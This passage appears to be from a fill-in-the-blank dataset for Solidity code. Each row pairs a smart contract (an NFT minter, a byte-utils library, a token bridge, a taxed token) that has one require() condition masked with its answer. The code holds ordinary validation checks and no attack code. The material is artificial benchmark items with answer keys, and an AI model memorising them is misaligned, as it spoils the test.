function presaleDoubleMint(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) public payable nonReentrant {
}
function burnTypeBulk(uint256 _typeId, address[] calldata owners) external onlyRole(OWNER_ROLE) {
}
function updateBaseURI(string memory _baseURI) external onlyRole(OWNER_ROLE) {
}
function burnTypeForOwnerAddress(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function burnTypeForOwnerAddressInternal(uint256 _typeId, uint256 _quantity, address _typeOwnerAddress) internal returns (bool) {
}
function mintTypeToAddress(uint256 _typeId, uint256 _quantity, address _toAddress) external onlyRole(AUTHORITY_CONTRACT_ROLE) returns (bool) {
}
function bulkSafeTransfer(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external {
}
function airdropMint(uint256 _typeId, uint256 _quantityPerRecipient, address[] calldata recipients) external onlyRole(OWNER_ROLE) {
}
function uri(uint256 typeId) public view override returns (string memory) {
}
function withdraw() public onlyRole(OWNER_ROLE) nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC1155, AccessControl) returns (bool) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override onlyAllowedOperator(from) {
}
}
| getPassBalance(_msgSender())>0,"No presale token held" | 245,362 | getPassBalance(_msgSender())>0 |
"toUint8_overflow" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
// Core utils used extensively to format CSS and numbers.
// modified from original to take away functions that I'm not using
// also includes the random number parser
library utils {
// converts an unsigned integer to a string
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
}
// helper function for generation
// from: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol
function toUint8(bytes memory _bytes, uint256 _start) internal pure returns (uint8) {
require(<FILL_ME>)
require(_bytes.length >= _start + 1 , "toUint8_outOfBounds");
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
// from: https://ethereum.stackexchange.com/questions/31457/substring-in-solidity/31470
function substring(string memory str, uint startIndex, uint endIndex) internal pure returns (string memory) {
}
// entropy carving
// extrapolated into utils file in order to re-use between drawing + trait generation
function getPetalCount(bytes memory hash) internal pure returns (uint256) {
}
function getHeight(bytes memory hash) internal pure returns (uint256) { } // 180 - 52
function getSeed(bytes memory hash) internal pure returns (uint256) { } // 0 - 16581375
function getBaseFrequencyOne(bytes memory hash) internal pure returns (uint256) { }
function getBaseFrequencyTwo(bytes memory hash) internal pure returns (uint256) { }
function getDecimalsOne(bytes memory hash) internal pure returns (uint256) { }
function getDecimalsTwo(bytes memory hash) internal pure returns (uint256) { }
function getMatrixOffset(bytes memory hash, uint offset) internal pure returns (uint256) { } // re-uses entropy 0 - 19
function getNegOrPos(bytes memory hash, uint offset) internal pure returns (uint256) { } // re-uses entropy 1 - 20
function getMidPointReduction(bytes memory hash) internal pure returns (uint256) { } // 0 - 18-ish
function getFrontPetalColour(bytes memory hash) internal pure returns (uint256) { } // 0 - 360
}
| _start+1>=_start,"toUint8_overflow" | 245,455 | _start+1>=_start |
'Must disable' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
contract Bridge is Ownable {
IERC20 _token = IERC20(0x30dcBa0405004cF124045793E1933C798Af9E66a);
bool public isActive;
uint256 public bridgeCost = 2 ether / 100;
uint16 public sourceConfirmations = 30;
struct Bridge {
bytes32 id;
bool isSource;
uint256 sourceBlock;
bool isComplete;
address wallet;
uint256 amount;
}
address[] _relays;
mapping(address => uint256) _relaysIdx;
mapping(bytes32 => Bridge) public sources;
bytes32[] _incompleteSources;
mapping(bytes32 => uint256) _incSourceIdx;
mapping(bytes32 => Bridge) public receivers;
bytes32[] _incompleteReceivers;
mapping(bytes32 => uint256) _incReceiverIdx;
mapping(bytes32 => address) public receiverIniter;
mapping(bytes32 => address) public receiverSender;
event Create(bytes32 indexed id, address wallet, uint256 amount);
event InitDeliver(bytes32 indexed id, address wallet, uint256 amount);
event Deliver(bytes32 indexed id, address wallet, uint256 amount);
modifier onlyRelay() {
}
function getBridgeToken() external view returns (address) {
}
function getIncompleteSources() external view returns (bytes32[] memory) {
}
function getIncompleteReceivers() external view returns (bytes32[] memory) {
}
function setBridgeToken(address __token) external onlyOwner {
}
function setIsActive(bool _isActive) external onlyOwner {
}
function setBridgeCost(uint256 _wei) external onlyOwner {
}
function setRelay(address _relay, bool _isRelay) external onlyOwner {
uint256 _idx = _relaysIdx[_relay];
if (_isRelay) {
require(_idx == 0 && _relays[_idx] != _relay, 'Must enable');
_relaysIdx[_relay] = _relays.length;
_relays.push(_relay);
} else {
require(<FILL_ME>)
delete _relaysIdx[_relay];
_relaysIdx[_relays[_relays.length - 1]] = _idx;
_relays[_idx] = _relays[_relays.length - 1];
_relays.pop();
}
}
function create(uint256 _amount) external payable {
}
function setSourceComplete(bytes32 _id) external onlyRelay {
}
function initDeliver(
bytes32 _id,
address _user,
uint256 _sourceBlock,
uint256 _amount
) external onlyRelay {
}
function deliver(bytes32 _id) external onlyRelay {
}
function setSourceConfirmations(uint16 _conf) external onlyOwner {
}
function withdrawERC20(address _token, uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| _relays[_idx]==_relay,'Must disable' | 245,545 | _relays[_idx]==_relay |
'Can only bridge once per block' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
contract Bridge is Ownable {
IERC20 _token = IERC20(0x30dcBa0405004cF124045793E1933C798Af9E66a);
bool public isActive;
uint256 public bridgeCost = 2 ether / 100;
uint16 public sourceConfirmations = 30;
struct Bridge {
bytes32 id;
bool isSource;
uint256 sourceBlock;
bool isComplete;
address wallet;
uint256 amount;
}
address[] _relays;
mapping(address => uint256) _relaysIdx;
mapping(bytes32 => Bridge) public sources;
bytes32[] _incompleteSources;
mapping(bytes32 => uint256) _incSourceIdx;
mapping(bytes32 => Bridge) public receivers;
bytes32[] _incompleteReceivers;
mapping(bytes32 => uint256) _incReceiverIdx;
mapping(bytes32 => address) public receiverIniter;
mapping(bytes32 => address) public receiverSender;
event Create(bytes32 indexed id, address wallet, uint256 amount);
event InitDeliver(bytes32 indexed id, address wallet, uint256 amount);
event Deliver(bytes32 indexed id, address wallet, uint256 amount);
modifier onlyRelay() {
}
function getBridgeToken() external view returns (address) {
}
function getIncompleteSources() external view returns (bytes32[] memory) {
}
function getIncompleteReceivers() external view returns (bytes32[] memory) {
}
function setBridgeToken(address __token) external onlyOwner {
}
function setIsActive(bool _isActive) external onlyOwner {
}
function setBridgeCost(uint256 _wei) external onlyOwner {
}
function setRelay(address _relay, bool _isRelay) external onlyOwner {
}
function create(uint256 _amount) external payable {
require(isActive, 'Bridge disabled');
require(msg.value >= bridgeCost, 'Must pay bridge fee');
_amount = _amount == 0 ? _token.balanceOf(msg.sender) : _amount;
require(_amount > 0, 'Must bridge some tokens');
bytes32 _id = sha256(abi.encodePacked(msg.sender, block.number, _amount));
require(<FILL_ME>)
_token.transferFrom(msg.sender, address(this), _amount);
sources[_id] = Bridge({
id: _id,
isSource: true,
sourceBlock: block.number,
isComplete: false,
wallet: msg.sender,
amount: _amount
});
_incSourceIdx[_id] = _incompleteSources.length;
_incompleteSources.push(_id);
emit Create(_id, msg.sender, _amount);
}
function setSourceComplete(bytes32 _id) external onlyRelay {
}
function initDeliver(
bytes32 _id,
address _user,
uint256 _sourceBlock,
uint256 _amount
) external onlyRelay {
}
function deliver(bytes32 _id) external onlyRelay {
}
function setSourceConfirmations(uint16 _conf) external onlyOwner {
}
function withdrawERC20(address _token, uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| sources[_id].id==bytes32(0),'Can only bridge once per block' | 245,545 | sources[_id].id==bytes32(0) |
'Source does not exist' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
contract Bridge is Ownable {
IERC20 _token = IERC20(0x30dcBa0405004cF124045793E1933C798Af9E66a);
bool public isActive;
uint256 public bridgeCost = 2 ether / 100;
uint16 public sourceConfirmations = 30;
struct Bridge {
bytes32 id;
bool isSource;
uint256 sourceBlock;
bool isComplete;
address wallet;
uint256 amount;
}
address[] _relays;
mapping(address => uint256) _relaysIdx;
mapping(bytes32 => Bridge) public sources;
bytes32[] _incompleteSources;
mapping(bytes32 => uint256) _incSourceIdx;
mapping(bytes32 => Bridge) public receivers;
bytes32[] _incompleteReceivers;
mapping(bytes32 => uint256) _incReceiverIdx;
mapping(bytes32 => address) public receiverIniter;
mapping(bytes32 => address) public receiverSender;
event Create(bytes32 indexed id, address wallet, uint256 amount);
event InitDeliver(bytes32 indexed id, address wallet, uint256 amount);
event Deliver(bytes32 indexed id, address wallet, uint256 amount);
modifier onlyRelay() {
}
function getBridgeToken() external view returns (address) {
}
function getIncompleteSources() external view returns (bytes32[] memory) {
}
function getIncompleteReceivers() external view returns (bytes32[] memory) {
}
function setBridgeToken(address __token) external onlyOwner {
}
function setIsActive(bool _isActive) external onlyOwner {
}
function setBridgeCost(uint256 _wei) external onlyOwner {
}
function setRelay(address _relay, bool _isRelay) external onlyOwner {
}
function create(uint256 _amount) external payable {
}
function setSourceComplete(bytes32 _id) external onlyRelay {
require(<FILL_ME>)
require(!sources[_id].isComplete, 'Source is already complete');
sources[_id].isComplete = true;
uint256 _sourceIdx = _incSourceIdx[_id];
delete _incSourceIdx[_id];
_incSourceIdx[
_incompleteSources[_incompleteSources.length - 1]
] = _sourceIdx;
_incompleteSources[_sourceIdx] = _incompleteSources[
_incompleteSources.length - 1
];
_incompleteSources.pop();
}
function initDeliver(
bytes32 _id,
address _user,
uint256 _sourceBlock,
uint256 _amount
) external onlyRelay {
}
function deliver(bytes32 _id) external onlyRelay {
}
function setSourceConfirmations(uint16 _conf) external onlyOwner {
}
function withdrawERC20(address _token, uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| sources[_id].id!=bytes32(0),'Source does not exist' | 245,545 | sources[_id].id!=bytes32(0) |
'Source is already complete' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
contract Bridge is Ownable {
IERC20 _token = IERC20(0x30dcBa0405004cF124045793E1933C798Af9E66a);
bool public isActive;
uint256 public bridgeCost = 2 ether / 100;
uint16 public sourceConfirmations = 30;
struct Bridge {
bytes32 id;
bool isSource;
uint256 sourceBlock;
bool isComplete;
address wallet;
uint256 amount;
}
address[] _relays;
mapping(address => uint256) _relaysIdx;
mapping(bytes32 => Bridge) public sources;
bytes32[] _incompleteSources;
mapping(bytes32 => uint256) _incSourceIdx;
mapping(bytes32 => Bridge) public receivers;
bytes32[] _incompleteReceivers;
mapping(bytes32 => uint256) _incReceiverIdx;
mapping(bytes32 => address) public receiverIniter;
mapping(bytes32 => address) public receiverSender;
event Create(bytes32 indexed id, address wallet, uint256 amount);
event InitDeliver(bytes32 indexed id, address wallet, uint256 amount);
event Deliver(bytes32 indexed id, address wallet, uint256 amount);
modifier onlyRelay() {
}
function getBridgeToken() external view returns (address) {
}
function getIncompleteSources() external view returns (bytes32[] memory) {
}
function getIncompleteReceivers() external view returns (bytes32[] memory) {
}
function setBridgeToken(address __token) external onlyOwner {
}
function setIsActive(bool _isActive) external onlyOwner {
}
function setBridgeCost(uint256 _wei) external onlyOwner {
}
function setRelay(address _relay, bool _isRelay) external onlyOwner {
}
function create(uint256 _amount) external payable {
}
function setSourceComplete(bytes32 _id) external onlyRelay {
require(sources[_id].id != bytes32(0), 'Source does not exist');
require(<FILL_ME>)
sources[_id].isComplete = true;
uint256 _sourceIdx = _incSourceIdx[_id];
delete _incSourceIdx[_id];
_incSourceIdx[
_incompleteSources[_incompleteSources.length - 1]
] = _sourceIdx;
_incompleteSources[_sourceIdx] = _incompleteSources[
_incompleteSources.length - 1
];
_incompleteSources.pop();
}
function initDeliver(
bytes32 _id,
address _user,
uint256 _sourceBlock,
uint256 _amount
) external onlyRelay {
}
function deliver(bytes32 _id) external onlyRelay {
}
function setSourceConfirmations(uint16 _conf) external onlyOwner {
}
function withdrawERC20(address _token, uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| !sources[_id].isComplete,'Source is already complete' | 245,545 | !sources[_id].isComplete |
'Already initialized' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
contract Bridge is Ownable {
IERC20 _token = IERC20(0x30dcBa0405004cF124045793E1933C798Af9E66a);
bool public isActive;
uint256 public bridgeCost = 2 ether / 100;
uint16 public sourceConfirmations = 30;
struct Bridge {
bytes32 id;
bool isSource;
uint256 sourceBlock;
bool isComplete;
address wallet;
uint256 amount;
}
address[] _relays;
mapping(address => uint256) _relaysIdx;
mapping(bytes32 => Bridge) public sources;
bytes32[] _incompleteSources;
mapping(bytes32 => uint256) _incSourceIdx;
mapping(bytes32 => Bridge) public receivers;
bytes32[] _incompleteReceivers;
mapping(bytes32 => uint256) _incReceiverIdx;
mapping(bytes32 => address) public receiverIniter;
mapping(bytes32 => address) public receiverSender;
event Create(bytes32 indexed id, address wallet, uint256 amount);
event InitDeliver(bytes32 indexed id, address wallet, uint256 amount);
event Deliver(bytes32 indexed id, address wallet, uint256 amount);
modifier onlyRelay() {
}
function getBridgeToken() external view returns (address) {
}
function getIncompleteSources() external view returns (bytes32[] memory) {
}
function getIncompleteReceivers() external view returns (bytes32[] memory) {
}
function setBridgeToken(address __token) external onlyOwner {
}
function setIsActive(bool _isActive) external onlyOwner {
}
function setBridgeCost(uint256 _wei) external onlyOwner {
}
function setRelay(address _relay, bool _isRelay) external onlyOwner {
}
function create(uint256 _amount) external payable {
}
function setSourceComplete(bytes32 _id) external onlyRelay {
}
function initDeliver(
bytes32 _id,
address _user,
uint256 _sourceBlock,
uint256 _amount
) external onlyRelay {
require(isActive, 'Bridge disabled');
bytes32 _idCheck = sha256(abi.encodePacked(_user, _sourceBlock, _amount));
require(_id == _idCheck, 'Not recognized');
require(<FILL_ME>)
receiverIniter[_id] = msg.sender;
receivers[_id] = Bridge({
id: _id,
isSource: false,
sourceBlock: _sourceBlock,
isComplete: false,
wallet: _user,
amount: _amount
});
_incReceiverIdx[_id] = _incompleteReceivers.length;
_incompleteReceivers.push(_id);
emit InitDeliver(_id, receivers[_id].wallet, receivers[_id].amount);
}
function deliver(bytes32 _id) external onlyRelay {
}
function setSourceConfirmations(uint16 _conf) external onlyOwner {
}
function withdrawERC20(address _token, uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| receiverIniter[_id]==address(0),'Already initialized' | 245,545 | receiverIniter[_id]==address(0) |
'Already completed' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
contract Bridge is Ownable {
IERC20 _token = IERC20(0x30dcBa0405004cF124045793E1933C798Af9E66a);
bool public isActive;
uint256 public bridgeCost = 2 ether / 100;
uint16 public sourceConfirmations = 30;
struct Bridge {
bytes32 id;
bool isSource;
uint256 sourceBlock;
bool isComplete;
address wallet;
uint256 amount;
}
address[] _relays;
mapping(address => uint256) _relaysIdx;
mapping(bytes32 => Bridge) public sources;
bytes32[] _incompleteSources;
mapping(bytes32 => uint256) _incSourceIdx;
mapping(bytes32 => Bridge) public receivers;
bytes32[] _incompleteReceivers;
mapping(bytes32 => uint256) _incReceiverIdx;
mapping(bytes32 => address) public receiverIniter;
mapping(bytes32 => address) public receiverSender;
event Create(bytes32 indexed id, address wallet, uint256 amount);
event InitDeliver(bytes32 indexed id, address wallet, uint256 amount);
event Deliver(bytes32 indexed id, address wallet, uint256 amount);
modifier onlyRelay() {
}
function getBridgeToken() external view returns (address) {
}
function getIncompleteSources() external view returns (bytes32[] memory) {
}
function getIncompleteReceivers() external view returns (bytes32[] memory) {
}
function setBridgeToken(address __token) external onlyOwner {
}
function setIsActive(bool _isActive) external onlyOwner {
}
function setBridgeCost(uint256 _wei) external onlyOwner {
}
function setRelay(address _relay, bool _isRelay) external onlyOwner {
}
function create(uint256 _amount) external payable {
}
function setSourceComplete(bytes32 _id) external onlyRelay {
}
function initDeliver(
bytes32 _id,
address _user,
uint256 _sourceBlock,
uint256 _amount
) external onlyRelay {
}
function deliver(bytes32 _id) external onlyRelay {
require(isActive, 'Bridge disabled');
Bridge storage receiver = receivers[_id];
require(receiver.id == _id && _id != bytes32(0), 'Invalid bridge txn');
require(
msg.sender != receiverIniter[_id],
'Initer and sender must be different'
);
require(<FILL_ME>)
receiverSender[_id] = msg.sender;
receiver.isComplete = true;
_token.transfer(receiver.wallet, receiver.amount);
uint256 _recIdx = _incReceiverIdx[_id];
delete _incReceiverIdx[_id];
_incReceiverIdx[
_incompleteReceivers[_incompleteReceivers.length - 1]
] = _recIdx;
_incompleteReceivers[_recIdx] = _incompleteReceivers[
_incompleteReceivers.length - 1
];
_incompleteReceivers.pop();
emit Deliver(_id, receiver.wallet, receiver.amount);
}
function setSourceConfirmations(uint16 _conf) external onlyOwner {
}
function withdrawERC20(address _token, uint256 _amount) external onlyOwner {
}
function withdrawETH() external onlyOwner {
}
}
| !receiver.isComplete,'Already completed' | 245,545 | !receiver.isComplete |
"Account must not be excluded" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./WinOnBuy.sol";
import "./Multisig.sol";
contract AdvancedTax is Ownable, WinOnBuy, Multisig {
using SafeMath for uint256;
uint256 _totalSupply;
//Tax distribution between marketing and lottery. Tax percentage is variable on buy and sell
uint256 public buyMarketingRate = 20;
uint256 public buyLotteryRate = 60;
uint256 public buyAcapRate = 8;
uint256 public buyApadRate = 12;
uint256 public sellMarketingRate = 30;
uint256 public sellLotteryRate = 50;
uint256 public sellAcapRate = 4;
uint256 public sellApadRate = 16;
uint256 public minimumBuyTax = 12;
uint256 public buyTaxRange = 0;
uint256 public maximumSellTax = 25; //The selltaxrefund will be deducted so that max effective sell tax is never higher than 20 percent
uint256 public maximumSellTaxRefund = 0; //dynamic
uint256[] public tieredTaxPercentage = [10, 10, 10];
uint256[] public taxTiers = [50, 10]; //Highest bracket, middle bracket. multiplied by TotalSupply divided by 10000
//Tax balances
uint256 public totalMarketing;
uint256 public totalLottery;
uint256 public totalApad;
uint256 public totalAcap;
//Tax wallets
address payable public lotteryWallet;
address payable public marketingWallet;
address payable public apadWallet;
address payable public acapWallet;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) public taxPercentagePaidByUser;
//event
event AddTaxExcluded(address wallet);
event RemoveTaxExcluded(address wallet);
event SetBuyRate(
uint256 buyMarketingRate,
uint256 buyLotteryRate,
uint256 buyAcapRate,
uint256 buyApadRate
);
event SetBuyTax(uint256 minimumBuyTax, uint256 buyTaxRange);
event SetLotteryWallet(address oldLotteryWallet, address newLotteryWallet);
event SetMarketingWallet(
address oldMarketingWallet,
address newMarketingWallet
);
event SetSellRates(
uint256 sellMarketingRate,
uint256 sellLotteryRate,
uint256 sellAcapRate,
uint256 sellApadRate
);
event SetSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund);
event SetTaxTiers(uint256 tier1, uint256 tier2);
event SetTieredTaxPercentages(uint256 multiplier1, uint256 multiplier2);
/// @notice Include an address to paying taxes
/// @param account The address that we want to start paying taxes
function removeTaxExcluded(address account) public onlyOwner {
require(<FILL_ME>)
_taxExcluded[account] = false;
emit RemoveTaxExcluded(account);
}
/// @notice Change distribution of the buy taxes
/// @param _marketingRate The new marketing tax rate
/// @param _buyLotteryRate The new lottery tax rate
/// @param _buyAcapRate The new acap tax rate
/// @param _buyApadRate The new apad tax rate
function setBuyRates(
uint256 _marketingRate,
uint256 _buyLotteryRate,
uint256 _buyAcapRate,
uint256 _buyApadRate
) external onlyMultisig {
}
/// @notice Change the buy tax rate variables
/// @param _minimumTax The minimum tax on buys
/// @param _buyTaxRange The new range the buy tax is in [0 - _buyTaxRange]
function setBuyTax(uint256 _minimumTax, uint256 _buyTaxRange)
external
onlyOwner
{
}
/// @notice Change the address of the lottery wallet
/// @param _lotteryWallet The new address of the lottery wallet
function setLotteryWallet(address payable _lotteryWallet)
external
onlyMultisig
{
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the lottery wallet
function setMarketingWallet(address payable _marketingWallet)
external
onlyOwner
{
}
/// @notice Change the marketing and lottery rate on sells
/// @param _sellMarketingRate The new marketing tax rate
/// @param _sellLotteryRate The new treasury tax rate
function setSellRates(
uint256 _sellMarketingRate,
uint256 _sellLotteryRate,
uint256 _sellAcapRate,
uint256 _sellApadRate
) external onlyMultisig {
}
/// @notice Change the sell tax rate variables
/// @param _maximumSellTax The new minimum sell tax
/// @param _maximumSellTaxRefund The new range the sell tax is in [0 - _sellTaxRange]
function setSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund)
external
onlyOwner
{
}
/// @notice Set the three different tax tiers by setting the highest bracket and the lower cutoff. Value multiplied by totalSupply divided by 10000. Example 50 = 5000000 tokens
function setTaxTiers(uint256[] memory _taxTiers) external onlyOwner {
}
/// @notice Set the three different tax tier percentages
function setTieredTaxPercentages(uint256[] memory _tieredPercentages)
external
onlyOwner
{
}
/// @notice Exclude an address from paying taxes
/// @param account The address that we want to exclude from taxes
function addTaxExcluded(address account) public onlyOwner {
}
/// @notice Get if an account is excluded from paying taxes
/// @param account The address that we want to get the value for
/// @return taxExcluded Boolean that tells if an address has to pay taxes
function isTaxExcluded(address account)
public
view
returns (bool taxExcluded)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return buyTax the tax percentage that the user pays on buy
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getBuyTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 buyTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being seend
/// @param user the address for which to generate a random number
/// @return buyTaxPercentage
function _getBuyTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 buyTaxPercentage)
{
}
/// @notice get the tier for the buy tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getBuyTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being transfered.
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return totalTax the total taxes on the sell tx
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getSellTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 totalTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice get the tier for the sell tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getSellTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount the amount that is being send. Will be used to generate a more difficult pseudo random number
/// @param user the address for which to generate a random number
/// @return sellTaxPercentage
function _getSellTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 sellTaxPercentage)
{
}
}
| isTaxExcluded(account),"Account must not be excluded" | 245,575 | isTaxExcluded(account) |
"the sum must be 100" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./WinOnBuy.sol";
import "./Multisig.sol";
contract AdvancedTax is Ownable, WinOnBuy, Multisig {
using SafeMath for uint256;
uint256 _totalSupply;
//Tax distribution between marketing and lottery. Tax percentage is variable on buy and sell
uint256 public buyMarketingRate = 20;
uint256 public buyLotteryRate = 60;
uint256 public buyAcapRate = 8;
uint256 public buyApadRate = 12;
uint256 public sellMarketingRate = 30;
uint256 public sellLotteryRate = 50;
uint256 public sellAcapRate = 4;
uint256 public sellApadRate = 16;
uint256 public minimumBuyTax = 12;
uint256 public buyTaxRange = 0;
uint256 public maximumSellTax = 25; //The selltaxrefund will be deducted so that max effective sell tax is never higher than 20 percent
uint256 public maximumSellTaxRefund = 0; //dynamic
uint256[] public tieredTaxPercentage = [10, 10, 10];
uint256[] public taxTiers = [50, 10]; //Highest bracket, middle bracket. multiplied by TotalSupply divided by 10000
//Tax balances
uint256 public totalMarketing;
uint256 public totalLottery;
uint256 public totalApad;
uint256 public totalAcap;
//Tax wallets
address payable public lotteryWallet;
address payable public marketingWallet;
address payable public apadWallet;
address payable public acapWallet;
mapping(address => bool) public _taxExcluded;
mapping(address => uint256) public taxPercentagePaidByUser;
//event
event AddTaxExcluded(address wallet);
event RemoveTaxExcluded(address wallet);
event SetBuyRate(
uint256 buyMarketingRate,
uint256 buyLotteryRate,
uint256 buyAcapRate,
uint256 buyApadRate
);
event SetBuyTax(uint256 minimumBuyTax, uint256 buyTaxRange);
event SetLotteryWallet(address oldLotteryWallet, address newLotteryWallet);
event SetMarketingWallet(
address oldMarketingWallet,
address newMarketingWallet
);
event SetSellRates(
uint256 sellMarketingRate,
uint256 sellLotteryRate,
uint256 sellAcapRate,
uint256 sellApadRate
);
event SetSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund);
event SetTaxTiers(uint256 tier1, uint256 tier2);
event SetTieredTaxPercentages(uint256 multiplier1, uint256 multiplier2);
/// @notice Include an address to paying taxes
/// @param account The address that we want to start paying taxes
function removeTaxExcluded(address account) public onlyOwner {
}
/// @notice Change distribution of the buy taxes
/// @param _marketingRate The new marketing tax rate
/// @param _buyLotteryRate The new lottery tax rate
/// @param _buyAcapRate The new acap tax rate
/// @param _buyApadRate The new apad tax rate
function setBuyRates(
uint256 _marketingRate,
uint256 _buyLotteryRate,
uint256 _buyAcapRate,
uint256 _buyApadRate
) external onlyMultisig {
require(_marketingRate <= 25, "_marketingRate cannot exceed 25%");
require(_buyLotteryRate <= 100, "_lotteryRate cannot exceed 100%");
require(_buyAcapRate <= 20, "_buyAcapRate cannot exceed 20%");
require(_buyApadRate <= 20, "_buyApadRate cannot exceed 20%");
require(<FILL_ME>)
buyMarketingRate = _marketingRate;
buyLotteryRate = _buyLotteryRate;
buyAcapRate = _buyAcapRate;
buyApadRate = _buyApadRate;
emit SetBuyRate(
_marketingRate,
_buyLotteryRate,
_buyAcapRate,
_buyApadRate
);
}
/// @notice Change the buy tax rate variables
/// @param _minimumTax The minimum tax on buys
/// @param _buyTaxRange The new range the buy tax is in [0 - _buyTaxRange]
function setBuyTax(uint256 _minimumTax, uint256 _buyTaxRange)
external
onlyOwner
{
}
/// @notice Change the address of the lottery wallet
/// @param _lotteryWallet The new address of the lottery wallet
function setLotteryWallet(address payable _lotteryWallet)
external
onlyMultisig
{
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the lottery wallet
function setMarketingWallet(address payable _marketingWallet)
external
onlyOwner
{
}
/// @notice Change the marketing and lottery rate on sells
/// @param _sellMarketingRate The new marketing tax rate
/// @param _sellLotteryRate The new treasury tax rate
function setSellRates(
uint256 _sellMarketingRate,
uint256 _sellLotteryRate,
uint256 _sellAcapRate,
uint256 _sellApadRate
) external onlyMultisig {
}
/// @notice Change the sell tax rate variables
/// @param _maximumSellTax The new minimum sell tax
/// @param _maximumSellTaxRefund The new range the sell tax is in [0 - _sellTaxRange]
function setSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund)
external
onlyOwner
{
}
/// @notice Set the three different tax tiers by setting the highest bracket and the lower cutoff. Value multiplied by totalSupply divided by 10000. Example 50 = 5000000 tokens
function setTaxTiers(uint256[] memory _taxTiers) external onlyOwner {
}
/// @notice Set the three different tax tier percentages
function setTieredTaxPercentages(uint256[] memory _tieredPercentages)
external
onlyOwner
{
}
/// @notice Exclude an address from paying taxes
/// @param account The address that we want to exclude from taxes
function addTaxExcluded(address account) public onlyOwner {
}
/// @notice Get if an account is excluded from paying taxes
/// @param account The address that we want to get the value for
/// @return taxExcluded Boolean that tells if an address has to pay taxes
function isTaxExcluded(address account)
public
view
returns (bool taxExcluded)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return buyTax the tax percentage that the user pays on buy
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getBuyTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 buyTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being seend
/// @param user the address for which to generate a random number
